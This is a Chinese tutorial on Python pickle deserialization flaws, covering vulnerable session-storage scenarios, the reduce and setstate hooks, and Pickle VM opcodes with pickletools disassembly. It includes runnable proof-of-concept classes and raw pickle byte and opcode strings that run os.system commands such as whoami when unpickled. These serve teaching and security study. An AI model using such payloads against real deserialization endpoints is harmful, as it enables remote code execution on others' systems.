python反序列化学习总结

前置知识

介绍序列化

现实需求

每种编程语言都有各自的数据类型,其中面向对象的编程语言还允许开发者自定义数据类型(如:自定义类),Python也是一样。但很多时候我们会有这样的需求:

  • 把内存中的各种数据类型的数据保存到本地磁盘持久化;
  • 把内存中的各种数据类型的数据通过网络传送给其它机器或客户端;

目前的解决办法是序列化/反序列化,不过我们先介绍数据格式:

数据格式

如果要将一个系统内的数据通过网络传输给其它系统或客户端(也就是上面的问题),我们通常都需要先把这些数据转化为字符串或字节串,而且需要规定一种统一的数据格式才能让数据接收端正确解析并理解这些数据的含义。

都有啥数据格式呢?

XML 是早期被广泛使用的数据交换格式,在早期的系统集成论文中经常可以看到它的身影;如今大家使用更多的数据交换格式是JSON(JavaScript Object Notation),它是一种轻量级的数据交换格式。JSON相对于XML而言,更加加单、易于阅读和编写,同时也易于机器解析和生成。除此之外,我们也可以自定义内部使用的数据交换格式。

如果是想把数据持久化到本地磁盘,这部分数据通常只是供系统内部使用,因此数据转换协议以及转换后的数据格式也就不要求是标准、统一的,只要本系统内部能够正确识别即可。但是,系统内部的转换协议通常会随着编程语言版本的升级而发生变化(改进算法、提高效率),因此通常会涉及转换协议与编程语言的版本兼容问题(下面要介绍的pickle协议就是这样一个例子)。

序列化/反序列化

将对象转换为可通过网络传输或可以存储到本地磁盘的数据格式(如:XML、JSON或特定格式的字节串)的过程称为序列化;反之,则称为反序列化。

有了上面的实际情景以及数据格式的介绍,想必理解起来就不难了。

序列化相关模块

Python 中有很多能进行序列化的模块,比如 Json、pickle/cPickle、ShelveMarshal

模块名称 描述 提供的api
json 用于实现Python数据类型与通用(json)字符串之间的转换 dumps()、dump()、loads()、load()
pickle(cpickle) 用于实现Python数据类型与Python特定二进制格式之间的转换 dumps()、dump()、loads()、load()
shelve 专门用于将Python数据类型的数据持久化到磁盘,shelve是一个类似dict的对象,操作十分便捷 open()

pickle与json

其中json模块应该是最为人所知的,它主要提供python字典,列表等数据类型和字符串之间互相转换的能力;而marshal和pickle/cpickle模块则可以对python中的类和对象进行序列化和反序列化。

  • 与json相比,pickle以二进制储存,不易人工阅读;
  • json可以跨语言,而pickle是Python专用的;
  • pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

pickle与marshal

python有另一个更原始的序列化包marshal,但官方推荐的通用对象序列化工具是picklepickle比marshal更主流。

pickle与cPickle

cPicklepickle这两个模块功能是一样的, 区别在于cPickleC语言写的, 速度快; pickle是纯Python写的, 速度慢。在 Python 3 中,cPickle 模块被移除了,其功能已经合并进了 pickle 模块。现在的 pickle 是自动调用底层 C 实现的(如果可用),即性能已经等同于原来的 cPickle

pickle漏洞详解

漏洞场景

反序列化漏洞往往出现在什么地方?

反序列化用在哪里,漏洞的出现场景就在哪里,有下面几种场景:

  1. 通常在解析认证token,session的时候

现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:掌阅iReader某站Python漏洞挖掘 | 离别歌

其实,这是最常见、最经典的,也就是 flask 配合 redis 在服务端存储 session 的情景,这里的 session 是被 pickle 序列化进行存储的,如果你通过 cookie 进行请求 session id 的话,session 中的内容就会被反序列化,看似好像是没有什么问题,因为 session 是存储在 服务端的,但是终究是抵不住 redis 的未授权访问,如果出现未授权的话,我们就能通过 set 设置自己的 session ,然后通过设置 cookie 去请求 session 的过程中我们自定的内容就会被反序列化,然后我们就达到了执行任意命令或者任意代码的目的

  1. 其他库调用了序列化的数据,比如numpy.load()

漏洞成因

我们都知道,Java中的反序列化漏洞主要在于反序列化时会调用对象的readObject方法,在PHP中则有更多的魔术方法在反序列化等各种情况下调用。

参考PHP的反序列化,如果我们可以在这些魔术方法构造恶意代码,那么实例在反序列化时就会依靠pop chain执行我们的代码了。

而在python中,同样有几个内置方法会在对象被反序列化时调用,他们分别是:

1
2
3
4
__reduce__()  
__reduce_ex__()
__setstate__()
__getstate__()

具体的用法可以参考官方文档中的描述:

pickle — Python 对象序列化 — Python 3.15.0a0 文档

方法 pickle 调用时机 主要用途 典型场景
__reduce__ 仅序列化时调用(若无 __reduce_ex__),返回还原指令 控制序列化和还原方式 复杂对象自定义序列化/还原
__reduce_ex__ 仅序列化时调用,优先于 __reduce__ 被调用,带协议参数 同上,兼容协议版本 针对不同 pickle 协议版本兼容
__getstate__ 仅序列化时调用,返回要保存的对象状态 定制序列化属性内容 跳过/定制属性序列化
__setstate__ 仅反序列化时调用,接收 __getstate__ 返回内容作为参数 定制反序列化属性还原 属性还原、补充

上面四种方法使用的示例如下,

__reduce__

注意:pickle.dumps(a) 时调用 __reduce__,会把你的对象变成一个“还原说明书”,“还原说明书”会规定你的对象该如何还原;而只有在 pickle.loads(ser_a) 时,pickle 才会按照这个“说明书”去执行,以“还原”你的对象。

也就是说,__reduce__ 的作用就是序列化时按照你的定义生成一个“还原说明书”(但是并不会执行“还原说明书”),反序列化时,才会执行生成好的“还原说明书”

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class Rce(object):
def __reduce__(self):
return (os.system,("whoami",)) # 只在反序列化时才会执行

a = Rce()
ser_a= pickle.dumps(a)
print(ser_a)
pickle.loads(ser_a)

解析如下,

  • __reduce__ 仅在对象被 pickle 序列化(pickle.dumps)时调用,用于生成“还原说明书”。这个“还原说明书”通常是一个元组,如(os.system, ("whoami",)),用以告诉 pickle 在反序列化时如何重建对象。
  • 如果自定义了 __reduce__,pickle 将完全按照你的定义来生成说明书,而不是默认序列化对象属性。这和 PHP 的序列化机制不同,PHP 默认序列化对象的属性和类名,而Python 的 pickle 可以通过 __reduce__ 完全自定义序列化/还原过程。
  • 在反序列化(pickle.loads)时,pickle 不会再调用 __reduce__,而是直接根据说明书调用相应的函数和参数还原对象。

__reduce_ex__

__reduce____reduce_ex__是我们比较常用的漏洞利用函数。

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class Rce(object):
def __reduce_ex__(self, protocol): # 注意必须有protocol参数
return (os.system, ("whoami", ))

a = Rce()
ser_a = pickle.dumps(a)
print(ser_a)
pickle.loads(ser_a)

__getstate__

注意事项见代码。

1
2
3
4
5
6
7
8
9
10
import pickle
import os

class Rce(object):
def __getstate__(self):
os.system("whoami") # 不能return,必须直接执行

a = Rce()
ser_a= pickle.dumps(a) # 序列化时就会执行
print(ser_a)

__setstate__

注意:__setstate__ 只有在反序列化对象有“状态”需要恢复时才会被调用;而对于没有自定义 __getstate__,也没有实例属性的类,则反序列化时不会调用 __setstate__

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os

class Rce(object):
def __init__(self, state): # 要有状态,随便一个属性就行;要么就要有__getstate__
self.state = state
def __setstate__(self, state):
os.system("whoami") # 不能return,必须直接执行

a = Rce('1') # 有状态
ser_a = pickle.dumps(a)
print(ser_a)
pickle.loads(ser_a)

值得注意的是,上面我们提到Python 并没有对 pickle 模块做任何安全性的限制:

Python pickle 在反序列化时,不会验证目标类是否在应用中“注册”或“允许”反序列化,也没有类似 Java serialVersionUID 的机制来校验类的版本、数据完整性或来源的可靠性。也就是说,pickle 无法校验“这个类是否就是我想反序列化的那个类”。

此外,pickle 支持通过 __reduce__ 及其返回值,自定义对象的序列化与反序列化方式。只要实现了 __reduce__,就可以‘欺骗’ pickle,使其按照你指定的方式还原对象(包括任意可调用对象及参数,这是命令执行风险的关键)。

大多数内建类型和新式类(继承自 object)都有默认的 __reduce__ 实现(由基类提供)。如果你没有自定义 __reduce__,pickle 会调用默认实现,把类名、模块名、属性等具体内容序列化;如果你自定义了 __reduce__,就会覆盖默认行为,此时 pickle 只会记录你 __reduce__ 返回的内容,反序列化时,pickle 会调用你指定的”可调用对象+参数“来还原对象。

也就是说,Python pickle 反序列化时没有任何验证机制,并且允许对象被伪造或重写,这是其设计机制形成的危险行为,一旦可以控制反序列化数据就能实现利用。

比如我们运行如下代码

1
2
3
4
5
6
7
8
import pickle
import os
class Rce(object):
name = 'matrix'
def __reduce__(self):
return (os.system,("whoami",))
a = Rce()
print(pickle.dumps(a))

结果如下:

可以发现这并没有反序列化类名、模块名、属性等,仅仅是反序列化了一个函数调用(通过system执行whoami)

1
b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

执行下面会发现,命令执行成功

1
2
3
4
import pickle
str = b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

pickle.loads(str)

综上,python没有对pickle模块做任何安全性的限制,而且pickle 支持自定义对象如何被序列化和反序列化,这样我们就可以在反序列化时运行我们自定义的方法,达到任意代码执行。

注意,**其他模块的load也可以触发pickle反序列化漏洞。**例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

深入pickle

pickle模块

在python反序列化安全这方面, pickle模块较常见,下面我们主要以它为例进行讲解。

pickle 是 Python 的一个模块。它的功能是:序列化和反序列化 Python 对象,把对象变成数据流(二进制/文本流),或反过来。

pickle可序列化的数据类型:

在 Python 中一切皆对象,而pickle是Python专用的,因此能使用 pickle 序列化的数据类型有很多,如下,

  • 内置常量(None、True 和 False等)
  • 整数、浮点数、复数
  • 字符串、字节串、字节数组(即str、byte、byte array)
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数定义的则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存

注意,文件、套接字、以及代码对象不能被序列化!

在 pickle 模块中 , 常用以下四个方法:

  • pickle.dump(obj, file) : 将对象序列化后保存到文件
  • pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
  • pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
  • pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象。file文件需要以 2 进制方式打开,如 wbrb

pickle 模块四个接口也是可以指定协议的(协议我们后面会讲)

1
2
3
4
5
6
7
8
9
10
11
# 将打包好的对象 obj 写入文件中,其中 protocol 为 pickling 的协议版本(上面6种)
pickle.dump(obj, file, protocol=None, *, fix_imports=True)

# 将obj打包以后的对象作为 bytes 类型直接返回,其中 protocol 为 pickling 的协议版本(上面6种)
pickle.dumps(obj, protocol=None, *, fix_imports=True)

# 从文件中读取二进制字节流,将其反序列化为一个对象并返回
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

# 从data中读取二进制字节流,将其反序列化为一个对象并返回
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

pickle数据流格式

默认情况下,pickle 数据格式一般是相对紧凑的二进制(如果需要让文件更小,可以高效压缩由 pickle 封存的数据)。上面我们说过,pickle是Python专用的,所以pickle 所使用的数据格式仅可用于 Python。这样做的好处是没有外部标准给该格式强加限制,比如 JSON 或 XDR(不能表示共享指针)标准;但这也意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。

实际上,pickle数据流可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

当前共有 6 种不同的协议可用于封存操作(使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新):

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • 第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
  • v3 版协议是在 Python 3.0 中引入的。 它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154
  • v5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。 请参阅 PEP 574 了解第 5 版协议所带来的改进的详情。

解释一下:

  • 默认协议:目前Python 3.8 及以上的默认协议是 v4(3.8发布时),但是Python 3.8及以后新版本可能会提升默认协议,建议用 pickle.DEFAULT_PROTOCOL 查询。
  • 兼容性:高版本协议的 pickle 文件不能被低版本 Python 加载,反过来却通常可以。协议2是上下兼容的“最大公约数”,协议2设计时,就考虑了 py2/py3 之间的数据交换,但协议2也不是“绝对兼容”。
  • bytes 支持:v3 及以后支持 bytes 类型(纯二进制数据),区别于 str(文本字符串),v2 及以前不支持。

我们用代码理解一下上面的协议:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
class Test():
name = ''
def __init__(self, name='matrix'):
self.name = name
self.age = 20

a = Test()

print(a)
print('\n')

b = pickle.dumps(a)
print(b)
  • py2 (Python 2.7.18 )序列化后结果为:

    这是协议 0(文本协议),也是 pickle 的最古老协议,内容为人类可读的文本(输出的一大串字符实际上是一串PVM操作码, 可以在pickle.py中看到关于这些操作码的详解,下面会讲)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<__main__.Test instance at 0x79d62a658690>


(i__main__
Test
p0
(dp1
S'age'
p2
I20
sS'name'
p3
S'matrix'
p4
sb.
  • py3 (Python 3.10.12 )序列化后结果为:

    这是协议 4,内容是纯二进制字节流,不可读。

1
2
3
4
<__main__.Test object at 0x7b3e4ed90610>


b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06matrix\x94\x8c\x03age\x94K\x14ub.'
  • 下面用一个例子来对比一下四个pickle版本
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

a={'1': 1, '2': 2}

print(f'# 原变量:{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

# 输出:
# pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
# pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
# pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
# pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'

Pickle VM

实际上,pickle 实现了一种栈式指令语言,有不同的编写方式(即上面提过的不同协议),底层基于一种轻量的 Pickle Virtual Machine。

Pickle Virtual Machine(简称 Pickle VM 或 PVM) 并非官方术语,而是安全分析和技术讨论中对 pickle 协议解释与执行机制的称呼。指的是Python 解释器在处理 pickle 字节流(即 pickle 序列化后的二进制数据)时,内部实现了一个“虚拟机”或“解释器”,逐条解析 pickle 指令(opcode),并按规则还原对象结构。

Pickle VM这个“虚拟机”主要包括指令处理器、指令集(如 MARK、STOP、REDUCE、GLOBAL、TUPLE、DICT、LIST 等)和堆栈模型(栈和memo,数据和对象在栈上操作,由指令控制)。

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到STOP.这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list(即python中的一种有序、可变的数据结构[])实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict(即python中的一种无序、可变的键值对数据结构{})实现,为 PVM 的整个生命周期提供存储。

Pickle VM和 Python VM 的区别

Pickle VM 与 Python 的字节码虚拟机(Python Virtual Machine)不一样,但思想类似:都是通过指令流驱动状态机,动态恢复数据结构。

  • Python VM(通常指的是 Python Virtual Machine)负责执行 Python 字节码(pyc),实现完整的语言运行环境。
  • Pickle VM(非官方叫法)是指 Python 解释 pickle 数据流“指令集”和数据栈的那一套机制,只服务于 pickle 序列化与反序列化过程。(这一机制由 _Unpickler 类具体实现)

**Pickle VM指令集 **

注意Pickle VM 指令的书写规范

(1)操作码是单字节的

(2)带参数的指令用换行符定界

注意:部分Linux系统下和Windows下的opcode字节流并不兼容,

  • os.system() 是 Python 标准库提供的函数,无论在 Windows 还是 Linux,代码层面都写作 os.system();而 os 模块在导入时会根据平台加载 posixnt 子模块,并暴露统一的 API。
  • 在 Linux 下(类 Unix 系统),os.system() 的底层实现其实是 posix.system()
  • 在 Windows 下,os.system() 的底层实现是 nt.system()
1
2
3
4
5
# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

所以说,如果使用 pickle 字节流中的 GLOBAL 操码直接引用平台相关的底层模块(如 nt.systemposix.system),则不同操作系统下的反序列化就可能会失败,因为这些底层模块和 API 不是跨平台的。推荐使用标准库的统一接口(如 os.system),这样 pickle 序列化和反序列化在主流平台(Windows、Linux、macOS)下都能正常工作。

下面是操作码(opcode)所对应的二进制比特流,以及相应的解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " &lt; 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build &amp; push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build &amp; push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from &lt; 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " &lt; 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length &lt; 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly

完整的可在$PYTHON/Lib/pickle.py查看:cpython/Lib/pickle.py at main · python/cpython · GitHub

简单解释:

name op params describe e.g.
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
STRING S S [string] push一个string S ‘x’
UNICODE V V [unicode] push一个unicode string V ‘x’
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S’ls’\nios\nsystem\n
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

详细解释:

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

这里列出指令集主要是为了方便查阅,后续用到哪个我们再讲。

为了便于理解,把BH讲稿中的相关部分制成了动图,这几个动图大家可以与漏洞bypass处结合着看,现在看不懂不要紧。

PVM解析 str 的过程动图:

20200320230631-6204866e-6abc-1

  • PVM解析 __reduce__() 的过程动图:

20200320230711-7972c0ea-6abc-1

深入底层实现

这里简单理解即可,并不影响后续的学习。

上面提到了pickle的常用方法接口,但接口只是封装好之后的表象,下面我们结合上面的协议和Pickle VM进一步理解:

pickle.loads() 和 pickle.load() 都是 Python 的反序列化接口,底层依赖_Unpickler类实现。都是把各自输入得到的输入的数据流(字节流或文件流),喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化。

在反序列化过程中,_Unpickler(以下称为机器,其实就是上面提到的pickle虚拟机)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图): 

img

是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。

存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。

您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools

pickletools

pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。

pickletools会将不可读二进制字节流转换成字符串,并进行解释(我们主要用到其反汇编功能,掌握着这个即可)。

以下代码为例

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import pickletools
class Test():
name = ''
def __init__(self, name='matrix'):
self.name = name
self.age = 20

a = Test()
b = pickle.dumps(a)
print(b)
print('\n')
pickletools.dis(b)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06matrix\x94\x8c\x03age\x94K\x14ub.'


0: \x80 PROTO 4
2: \x95 FRAME 53
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'Test'
28: \x94 MEMOIZE (as 1)
29: \x93 STACK_GLOBAL
30: \x94 MEMOIZE (as 2)
31: ) EMPTY_TUPLE
32: \x81 NEWOBJ
33: \x94 MEMOIZE (as 3)
34: } EMPTY_DICT
35: \x94 MEMOIZE (as 4)
36: ( MARK
37: \x8c SHORT_BINUNICODE 'name'
43: \x94 MEMOIZE (as 5)
44: \x8c SHORT_BINUNICODE 'matrix'
52: \x94 MEMOIZE (as 6)
53: \x8c SHORT_BINUNICODE 'age'
58: \x94 MEMOIZE (as 7)
59: K BININT1 20
61: u SETITEMS (MARK at 36)
62: b BUILD
63: . STOP
highest protocol among opcodes = 4

我们可以看到二进制字节流对应的操作码,这就是反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。

整体流程总结

  1. 声明协议4,创建一个 frame。
  2. 写入模块和类名(__main__.Test),找到类对象。
  3. 用 NEWOBJ 创建新对象(调用 Test.__new__())。
  4. 创建空 dict。
  5. 依次压入属性名和值(name, matrix, age, 20)。
  6. SETITEMS 填充 dict。
  7. BUILD 设置对象的属性。
  8. STOP 结束。

接下来试一试优化功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import pickletools
class Test():
name = ''
def __init__(self, name='matrix'):
self.name = name
self.age = 20

a = Test()
b = pickle.dumps(a)
b = pickletools.optimize(b)
print(b)
print('\n')
pickletools.dis(b)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
